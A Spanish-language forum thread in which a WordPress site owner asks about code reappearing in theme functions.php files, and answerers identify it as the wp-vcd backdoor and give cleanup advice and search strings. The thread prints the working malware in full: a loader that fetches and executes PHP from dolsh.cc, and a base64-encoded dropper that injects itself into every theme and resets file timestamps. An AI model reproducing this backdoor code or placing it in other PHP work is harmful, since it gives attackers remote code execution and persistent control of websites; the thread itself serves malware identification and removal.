¿Qué es este código en el functions.php de mi tema? if (isset($_REQUEST['action']) && isset($_REQUEST['password'])

1 oct 2017, 22:55:19
Vistas: 27.2K
Votos: 7

Este código aparece en el functions.php de mi tema, también en el tema hijo. Lo he eliminado dos veces pero vuelve a aparecer. ¿Qué es?

if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['password'] ) && ( $_REQUEST['password'] == '227972a1a62825660efb0f32126db07f' ) ) {
    $div_code_name = "wp_vcd";
    switch ( $_REQUEST['action'] ) {
        case 'change_domain';
            if ( isset( $_REQUEST['newdomain'] ) ) {

                if ( ! empty( $_REQUEST['newdomain'] ) ) {
                    if ( $file = @file_get_contents( __FILE__ ) ) {
                        if ( preg_match_all( '/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code4\.php/i', $file, $matcholddomain ) ) {

                            $file = preg_replace( '/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file );
                            @file_put_contents( __FILE__, $file );
                            print "true";
                        }


                    }
                }
            }
            break;


        default:
            print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

    die( "" );
}


if ( ! function_exists( 'theme_temp_setup' ) ) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[ REQUEST_URI ];
    if ( stripos( $_SERVER['REQUEST_URI'], 'wp-cron.php' ) == false && stripos( $_SERVER['REQUEST_URI'], 'xmlrpc.php' ) == false ) {
        if ( $tmpcontent = @file_get_contents( "http://www.dolsh.cc/code4.php?i=" . $path ) ) {
            function theme_temp_setup( $phpCode ) {
                $tmpfname = tempnam( sys_get_temp_dir(), "theme_temp_setup" );
                $handle   = fopen( $tmpfname, "w+" );
                fwrite( $handle, "<?php\n" . $phpCode );
                fclose( $handle );
                include $tmpfname;
                unlink( $tmpfname );

                return get_defined_vars();
            }

            extract( theme_temp_setup( $tmpcontent ) );
        }
    }
}
3
Comentarios

¿Qué tema estás usando?

lukgoh lukgoh
1 oct 2017 23:18:24

Por favor, publica el nombre del tema. Es posible que tu sitio esté hackeado; o que el tema que estás usando tenga una puerta trasera de los autores - es difícil saber cuál. Una forma de comprobarlo es ver el código del tema para ver si la puerta trasera sigue ahí. En cualquier caso, deberías deshacerte de ese archivo y revisar más a fondo para ver si otros archivos también están infectados (de otras maneras).

Sas3 Sas3
2 oct 2017 05:35:14

Hola, uso el tema Boss. Pero el código aparece en todos los temas como el tema twentyseventeen. El código ya no está ya que usé Wordfence para escanear y eliminarlo. Creo que el problema proviene de los plugins que uso.

Topy Topy
2 oct 2017 09:41:50
Todas las respuestas a la pregunta 4
1

Tu sitio web ha sido hackeado. Este es un código malicioso que se activa desde el exterior, cargando más contenido malicioso desde el dominio 'www.dolsh.cc'.

Si el contenido vuelve a aparecer después de eliminarlo, entonces tienes archivos comprometidos en algún otro lugar que reescribirán automáticamente functions.php cada vez que se cargue una página. Necesitas encontrar y limpiar todos los archivos infectados, y es imposible saber qué archivos están infectados sin una revisión detallada del sitio web. La mayoría de infecciones como esta se propagan a varias áreas para asegurarse de que sean difíciles de eliminar.

Deberías hacer una copia de seguridad de la base de datos y luego reinstalar WordPress desde cero, junto con todos los plugins que tengas y que no estén infectados. Es posible que algún plugin sea la fuente de la infección, o incluso el tema en sí. Si has descargado plugins o temas desde algún sitio web ilegal (que ofrezca plugins premium gratuitos), esa es la fuente más probable de la infección.

1 oct 2017 23:03:40
Comentarios

Hola, gracias por tu información. Utilicé Worldfense para escanear y encontré los problemas. Después de eliminar los archivos, noté que ese código no ha vuelto a aparecer. ¿Es necesario que reinstale WordPress desde cero? Gracias.

Topy Topy
2 oct 2017 10:10:00
2

Utilizo Wordfence para escanear los archivos. Y el escaneo muestra los siguientes resultados:

  • El archivo functions.php en el tema twentyseventeen también contiene el mismo código mencionado anteriormente.
  • En la carpeta wp-includes, hay un archivo sospechoso "wp-vcd.php". El archivo contiene el siguiente código:

    <?php 
    error_reporting(0);
    ini_set('display_errors', 0);
    
    $install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYgKCRfUkVRVUVTVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSkNCgl7DQokZGl2X2NvZGVfbmFtZT0id3BfdmNkIjsNCgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQ0KCQkJew0KDQoJCQkJDQoNCg0KDQoNCgkJCQljYXNlICdjaGFuZ2VfZG9tYWluJzsNCgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQ0KCQkJCQkJew0KCQkJCQkJCQ0KCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdkb21haW4nXSkpDQoJCQkJCQkJCXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2hfYWxsKCcvXCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzXCgiaHR0cDpcL1wvKC4qKVwvY29kZTRcLnBocC9pJywkZmlsZSwkbWF0Y2hvbGRkb21haW4pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUgPSBwcmVnX3JlcGxhY2UoJy8nLiRtYXRjaG9sZGRvbWFpblsxXVswXS4nL2knLCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10sICRmaWxlKTsNCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJGZpbGUpOw0KCQkJCQkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgInRydWUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJYnJlYWs7DQoNCgkJCQkNCgkJCQkNCgkJCQlkZWZhdWx0OiBwcmludCAiRVJST1JfV1BfQUNUSU9OIFdQX1ZfQ0QgV1BfQ0QiOw0KCQkJfQ0KCQkJDQoJCWRpZSgiIik7DQoJfQ0KDQoJDQoNCg0KaWYgKCAhIGZ1bmN0aW9uX2V4aXN0cyggJ3RoZW1lX3RlbXBfc2V0dXAnICkgKSB7ICANCiRwYXRoPSRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUltSRVFVRVNUX1VSSV07DQppZiAoIHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd3cC1jcm9uLnBocCcpID09IGZhbHNlICYmIHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd4bWxycGMucGhwJykgPT0gZmFsc2UpIHsNCg0KaWYoJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuZG9sc2guY2MvY29kZTQucGhwP2k9Ii4kcGF0aCkpDQp7DQoNCg0KZnVuY3Rpb24gdGhlbWVfdGVtcF9zZXR1cCgkcGhwQ29kZSkgew0KICAgICR0bXBmbmFtZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAidGhlbWVfdGVtcF9zZXR1cCIpOw0KICAgICRoYW5kbGUgPSBmb3BlbigkdG1wZm5hbWUsICJ3KyIpOw0KICAgIGZ3cml0ZSgkaGFuZGxlLCAiPD9waHBcbiIgLiAkcGhwQ29kZSk7DQogICAgZmNsb3NlKCRoYW5kbGUpOw0KICAgIGluY2x1ZGUgJHRtcGZuYW1lOw0KICAgIHVubGluaygkdG1wZm5hbWUpOw0KICAgIHJldHVybiBnZXRfZGVmaW5lZF92YXJzKCk7DQp9DQoNCmV4dHJhY3QodGhlbWVfdGVtcF9zZXVwKCR0bXBjb250ZW50KSk7DQp9DQp9DQp9DQoNCg0KDQo/Pg==';
    
    $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
    $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
    
    
            $themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
    
            $ping = true;
                $ping2 = false;
            if ($list = scandir( $themes ))
                {
                    foreach ($list as $_)
                        {
    
                            if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
    
                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_V_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                }
                                            else
                                                {
                                                    $ping = false;
                                                }
                                        }
    
                                }
    
    
                                                              else
                                                            {
                                                            $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_);
                                                     foreach ($list2 as $_2)
                                                            {
    
    
                                                                                    if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
                                                      {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');
    
                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_V_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                    $ping2 = true;
                                                }
                                            else
                                                {
                                                    //$ping = false;
                                                }
                                        }
    
                                }
2 oct 2017 10:06:11
Comentarios

Nunca descargues plugins o temas de sitios web cuestionables. En el 99% de los casos terminarás con malware y un sitio web hackeado. Siempre descarga desde WordPress.org o del sitio web del autor del plugin/tema.

Milan Petrovic Milan Petrovic
2 oct 2017 10:13:40

En wp-includes también eliminé este archivo class.wp.php. Se ve bastante similar a class-wp.php. Pero todo lo que hay dentro del archivo es código malicioso.

Topy Topy
4 oct 2017 18:56:10
0

El código que has compartido indica la presencia del malware wp-vcd en tu sitio WordPress. Los principales síntomas del malware wp-vcd son ventanas emergentes de spam y la creación de URLs de spam en el sitio web.

Se ha observado que algunas variantes de estos códigos maliciosos modifican archivos principales de WordPress y también agregan nuevos archivos en el directorio /wp-includes.

  • El malware crea una puerta trasera que permite a los hackers acceder a tu sitio web durante períodos prolongados
  • Los hackers pueden explotar vulnerabilidades en plugins y temas de WordPress para subir el malware wp-vcd a sitios vulnerables.

En el archivo functions.php de tu tema, podrías encontrar un código similar a este:

<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?>

Limpieza

Enfoque 1 – Buscar archivos en el servidor que suelen estar infectados con el hack wp-vcd

  1. wp-includes/wp-vcd.php
  2. wp-includes/wp-tmp.ph
  3. wp-content/themes/*/functions.php (todos los temas instalados en el servidor, ya estén activos o no)
  4. class.theme-modules.php (dentro de la carpeta del tema)

Enfoque 2 – Buscar patrones de cadenas que se encuentran en archivos de malware infectados

  1. tmpcontentx
  2. function wp_temp_setupx
  3. wp-tmp.php
  4. derna.top/code.php
  5. stripos($tmpcontent, $wp_auth_key)

Para referencia - https://www.getastra.com/blog/911/how-to-fix-wp-vcd-backdoor-hack-in-wordpress-functions-php/

17 jun 2019 11:02:41
1

Si descargaste plugins premium de forma gratuita, por favor verifica si tienen estos dos archivos, ten cuidado, estos son los archivos detrás del problema.

class.plugin-modules.php class.theme-modules.php

Antes de instalar, este archivo tenía un tamaño de 35kb, una vez instalado y activado el tema/plugin, mueve su código a todas las carpetas wp-includes en tu hosting. Así permanece oculto en los wp-includes de otros sitios.

22 jul 2018 08:24:16